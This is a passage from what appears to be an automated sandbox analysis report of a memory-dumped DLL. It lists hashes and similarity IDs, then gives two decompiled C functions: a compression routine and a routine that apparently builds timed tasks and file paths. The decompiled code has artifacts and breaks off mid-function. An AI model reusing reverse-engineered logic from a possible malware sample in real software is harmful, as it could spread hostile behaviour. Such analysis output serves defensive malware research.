dll, xrefs: 6BB4C5CA

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: f3cb01e055ac10c8b190f3914a311db8d32e0667a4a9da12783b87eb37bb0690
Instruction ID: aa8a6df638d96ac96d8cc3c6fab0262ad78573a1a5f038490cc6093eeb3f2f90
Opcode Fuzzy Hash: f3cb01e055ac10c8b190f3914a311db8d32e0667a4a9da12783b87eb37bb0690
Instruction Fuzzy Hash: 1531EDB3A14244AFEB409F68CC45FAE37ECFB0A758F108065F404E7280EB79C9449B62

Uniqueness

Uniqueness Score: -1.00%

Function 6BB52DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6BB52DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E6BB55DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E6BB54B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E6BB54C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t111 = _a4 + 4; // 0x0
						_t220 =  *_t111;
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E6BB54C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E6BB55DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E6BB54B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x6bb52db6
0x6bb52dbb
0x6bb52dbf
0x6bb52dc2
0x6bb52dc2
0x6bb52dc5
0x6bb52dca
0x6bb52dcf
0x6bb52dd2
0x6bb52dd7
0x6bb52dda
0x6bb52de0
0x6bb52de0
0x6bb52deb
0x6bb52dee
0x6bb52df5
0x6bb52dfa
0x00000000
0x00000000
0x6bb52e00
0x6bb52e05
0x6bb52e05
0x6bb52e0a
0x6bb52e10
0x6bb52e1a
0x6bb52e1f
0x6bb52e25
0x6bb52e44
0x6bb52e47
0x6bb52e52
0x6bb52e52
0x6bb52e52
0x6bb52e49
0x6bb52e49
0x6bb52e4b
0x00000000
0x6bb52e4d
0x6bb52e4d
0x6bb52e4d
0x6bb52e4b
0x6bb52e5a
0x6bb52e5f
0x6bb52e64
0x6bb52e6a
0x6bb52e6e
0x6bb52e71
0x6bb52e74
0x6bb52e7a
0x6bb52e7f
0x6bb52e82
0x6bb52e88
0x6bb52e8d
0x6bb52e93
0x6bb52e99
0x6bb52e9e
0x6bb52ea1
0x6bb52ea6
0x6bb52eaa
0x6bb52eae
0x6bb52eb1
0x6bb52eb4
0x6bb52ebd
0x6bb52ec4
0x6bb52ec7
0x6bb52eca
0x6bb52ecf
0x6bb52ed4
0x6bb52ed7
0x6bb52eda
0x6bb52eda
0x6bb52ede
0x6bb52ee7
0x6bb52eee
0x6bb52ef1
0x6bb52ef6
0x6bb52efb
0x6bb52efb
0x6bb52efe
0x6bb52f03
0x00000000
0x00000000
0x6bb52e27
0x6bb52e29
0x6bb52e36
0x00000000
0x00000000
0x6bb52e36
0x6bb52e29
0x00000000
0x6bb52e25
0x6bb52f09
0x6bb52f0e
0x6bb52f11
0x6bb52f14
0x6bb52fbf
0x6bb52fbf
0x6bb52f1a
0x6bb52f1a
0x6bb52f1a
0x6bb52f1f
0x6bb52f49
0x6bb52f4c
0x6bb52f4c
0x6bb52f51
0x6bb52f53
0x6bb52f55
0x6bb52f58
0x6bb52f5b
0x6bb52f63
0x6bb52f68
0x6bb52f68
0x6bb52f6e
0x6bb52f71
0x6bb52f74
0x6bb52f77
0x6bb52f79
0x6bb52f79
0x6bb52f7a
0x6bb52f7a
0x6bb52f77
0x6bb52f88
0x6bb52f8b
0x6bb52f8f
0x6bb52f94
0x6bb52f97
0x6bb52f9a
0x6bb52f9a
0x6bb52f9a
0x6bb52f9d
0x6bb52f9d
0x6bb52fa0
0x6bb52fa0
0x6bb52f21
0x6bb52f21
0x6bb52f31
0x6bb52f34
0x6bb52f39
0x6bb52f39
0x6bb52f3c
0x6bb52f3f
0x6bb52f42
0x6bb52f44
0x6bb52f44
0x6bb52fa3
0x6bb52fa5
0x6bb52fa8
0x6bb52fa8
0x6bb52fae
0x6bb52fb2
0x6bb52fb5
0x6bb52fb7
0x6bb52fb7
0x6bb52fc8
0x6bb52fca
0x6bb52fca
0x6bb52fd2
0x6bb52fe0
0x6bb52fe3
0x6bb52fe5
0x6bb53005
0x6bb53005
0x6bb53008
0x6bb5300e
0x6bb5300f
0x6bb53012
0x6bb53014
0x6bb53017
0x6bb5301a
0x6bb5301d
0x6bb53021
0x6bb53024
0x6bb53027
0x6bb5302a
0x6bb5302c
0x6bb5302c
0x6bb5302f
0x6bb53031
0x6bb53031
0x6bb53034
0x6bb53036
0x6bb53039
0x6bb53041
0x6bb53044
0x6bb53049
0x6bb53049
0x6bb5304f
0x6bb53052
0x6bb53055
0x6bb53057
0x6bb53057
0x6bb53058
0x6bb53058
0x6bb53063
0x6bb53063
0x6bb53063
0x6bb53066
0x6bb53069
0x6bb53069
0x6bb5306c
0x6bb5306c
0x6bb5302f
0x6bb53072
0x6bb53072
0x6bb53075
0x6bb53077
0x6bb5307a
0x6bb5307c
0x6bb5307f
0x6bb53082
0x6bb53084
0x6bb53087
0x6bb5308f
0x6bb53097
0x6bb5309a
0x6bb5309a
0x6bb5309a
0x6bb5309d
0x6bb5309d
0x6bb5309d
0x6bb530a0
0x6bb530a6
0x6bb530a8
0x6bb530a8
0x6bb530ae
0x6bb530b4
0x6bb530bd
0x6bb530c4
0x6bb530c6
0x6bb530c9
0x6bb530c9
0x6bb530cc
0x6bb530cc
0x6bb530cf
0x6bb530d1
0x6bb530d4
0x6bb530d6
0x6bb530f1
0x6bb530f1
0x6bb530f5
0x6bb530f8
0x6bb530fb
0x6bb530fe
0x6bb53114
0x6bb53114
0x6bb53114
0x6bb53100
0x6bb53100
0x6bb53102
0x6bb53106
0x6bb53109
0x00000000
0x6bb5310b
0x6bb5310b
0x6bb5310d
0x00000000
0x6bb5310f
0x6bb5310f
0x6bb5310f
0x6bb5310d
0x6bb53109
0x6bb53118
0x6bb5311b
0x6bb53120
0x6bb5312a
0x6bb5312a
0x6bb5312a
0x6bb5312d
0x6bb530d8
0x6bb530d8
0x6bb530da
0x6bb530e1
0x6bb530e1
0x6bb530e3
0x6bb530e5
0x6bb530e7
0x6bb530eb
0x6bb530ed
0x6bb530ef
0x00000000
0x00000000
0x6bb530ef
0x6bb530eb
0x6bb530dc
0x6bb530dc
0x6bb530df
0x00000000
0x00000000
0x6bb530df
0x6bb530da
0x6bb53137
0x6bb53139
0x6bb53139
0x6bb53144
0x6bb52fe7
0x6bb52fe7
0x6bb52fea
0x00000000
0x6bb52fec
0x6bb52fec
0x6bb52fee
0x6bb52ff2
0x00000000
0x6bb52ff4
0x6bb52ff4
0x6bb52ff4
0x6bb52ff7
0x00000000
0x6bb52ffb
0x6bb53004
0x6bb53004
0x6bb52ff7
0x6bb52ff2
0x6bb52fea
0x6bb52fd6
0x6bb52fdf
0x6bb52fdf

APIs

memcpy.MSVCRT ref: 6BB52EBD
memcpy.MSVCRT ref: 6BB52F34
memcpy.MSVCRT ref: 6BB52F63
memcpy.MSVCRT ref: 6BB52F8F
memcpy.MSVCRT ref: 6BB53044

Part of subcall function 6BB55DD0: memcpy.MSVCRT ref: 6BB55EAE

Part of subcall function 6BB54B30: memcpy.MSVCRT ref: 6BB54B5A

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: 4463b47777f0f6141a1ddefdcb488d90e31bddd13855b1458e20d0ce4c6db179
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 75D11272A047409FD728CF69D8C0A9AB7F1FF88304B24896DE88AC7700D775E994CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6BB44D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6BB44D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				signed int _t122;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x6bb5e688; // 0x2a40590
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t14 = E6BB4B7EA(0x6bb5b9c4,  &_v516) + 1; // 0x1
					E6BB4A8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E6BB4A4B3( &_v556, _t298);
					 *0x6bb5e748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						 *0x6bb5e680 = E6BB4E1FE(0x6bb5b9c8, _t299);
						 *_t337 = 0x610;
						_t124 = E6BB495C2(0x6bb5b9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x6bb5e688; // 0x2a40590
						_t127 = E6BB492C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E6BB485B6( &_v612);
						_t130 = E6BB4B2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E6BB485FB( &_v616, 0xfffffffe);
						_t133 =  *0x6bb5e688; // 0x2a40590
						_t21 = _t133 + 0x110; // 0x2abfd98
						_t22 = _t133 + 0x114; // 0x2a406a4
						E6BB449FE( *((intOrPtr*)( *_t21)), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x6bb5e688; // 0x2a40590
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_t28 = _t262 + 0x214; // 0x2
							_v576 =  *_t28;
							_t137 =  *0x6bb5e680; // 0x0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564);
							}
							_v620 = _v620 & 0x00000000;
							E6BB4E308(_t353,  &_v576);
							_pop(_t262);
							_t142 =  *0x6bb5e6b4; // 0x2abfc48
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E6BB4E308(_t353,  &_v588);
								_t235 =  *0x6bb5e6b4; // 0x2abfc48
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x6bb5e73c;
							if( *0x6bb5e73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x6bb5e680; // 0x0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x6bb5e688; // 0x2a40590
								_t45 = _t166 + 0x214; // 0x2
								_t262 =  *_t45;
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E6BB44998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x6bb5e684; // 0x2abfaa0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x6bb5e688; // 0x2a40590
											_t184 = E6BB4FC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0);
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t333 = E6BB485E5(0x1000);
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E6BB4109A(_t262, 0x148);
													_t305 =  *0x6bb5e688; // 0x2a40590
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E6BB4900E(_t271,  &_v572);
													_t272 =  *0x6bb5e688; // 0x2a40590
													_t92 = _t272 + 0xa0; // 0x1
													_t188 = E6BB460C0( &_v572, _t272 + 0x228, 1,  *_t92);
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x6bb5e688; // 0x2a40590
														__eflags = _t200 + 0x1020;
														E6BB49621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E6BB485B6( &_v636);
														E6BB4A953(_t333, 0, 0xbb8, 1);
														E6BB485FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E6BB485FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E6BB44998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x6bb5e684; // 0x2abfaa0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E6BB485E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E6BB495C2(_t278, 0x32d);
										_t280 =  *0x6bb5e688; // 0x2a40590
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E6BB49621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E6BB485B6( &_v636);
										E6BB4A953(_t249, 0, 0xbb8, 1);
										E6BB485FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t24 = _t262 + 0x214; // 0x2
							_t238 =  *_t24;
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E6BB495C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x6bb5e688; // 0x2a40590
								_t329 = E6BB492C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E6BB4B2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x6bb5e684; // 0x2abfaa0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E6BB485FB( &_v612, 0xfffffffe);
								}
								E6BB485B6( &_v616);
								_t150 =  *0x6bb5e688; // 0x2a40590
								lstrcpynW(_t150 + 0x438,  *0x6bb5e740, 0x105);
								_t153 =  *0x6bb5e688; // 0x2a40590
								_t154 = _t153 + 0x228;
								__eflags = _t154;
								lstrcpynW(_t154,  *0x6bb5e738, 0x105);
								_t331 =  *0x6bb5e688; // 0x2a40590
								_t117 = _t331 + 0x228; // 0x2a407b8
								 *((intOrPtr*)(_t331 + 0x434)) = E6BB48F9F(_t117, __eflags);
								E6BB485FB(0x6bb5e740, 0xfffffffe);
								E6BB485FB(0x6bb5e738, 0xfffffffe);
								L41:
								_t159 = 0;
								__eflags = 0;
								L42:
								return _t159;
							}
							__eflags = _t238 - 2;
							if(_t238 != 2) {
								goto L36;
							}
							goto L17;
						}
					}
					L8:
					_t159 = _t122 | 0xffffffff;
					goto L42;
				}
				_t250 = E6BB495A8(0x6e2);
				_v616 = _t250;
